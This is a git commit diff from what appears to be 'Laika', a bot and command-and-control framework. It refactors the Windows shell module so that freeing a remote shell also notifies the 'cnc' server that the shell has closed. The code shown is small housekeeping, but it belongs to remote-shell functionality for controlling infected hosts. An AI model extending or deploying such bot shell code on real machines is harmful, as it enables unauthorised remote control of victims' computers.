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Bot: Minor laikaB_freeShell refactoring

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CPunch
2022-04-16 23:08:21 -05:00
parent b60203d3f2
commit 231881c960
3 changed files with 9 additions and 24 deletions
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13
bot/win/winshell.c
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@@ -146,6 +146,9 @@ void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
/* close pseudo console */
ClosePseudoConsole(shell->pseudoCon);
/* tell cnc shell is closed */
laikaS_emptyOutPacket(bot->peer, LAIKAPKT_SHELL_CLOSE);
/* free shell struct */
laikaM_free(shell);
bot->shell = NULL;
@@ -171,11 +174,6 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
if (GetLastError() == ERROR_NO_DATA && WaitForSingleObject(shell->procInfo.hProcess, 0) == WAIT_TIMEOUT)
return true; /* recoverable, process is still alive */
/* unrecoverable error */
/* tell cnc shell is closed */
laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_CLOSE);
/* kill shell */
laikaB_freeShell(bot, shell);
return false;
}
@@ -193,11 +191,6 @@ bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char
while (nLeft > 0) {
if (!WriteFile(shell->out, (void*)buf, length, &nWritten, NULL)) {
/* unrecoverable error */
/* tell cnc shell is closed */
laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_CLOSE);
/* kill shell */
laikaB_freeShell(bot, shell);
return false;
}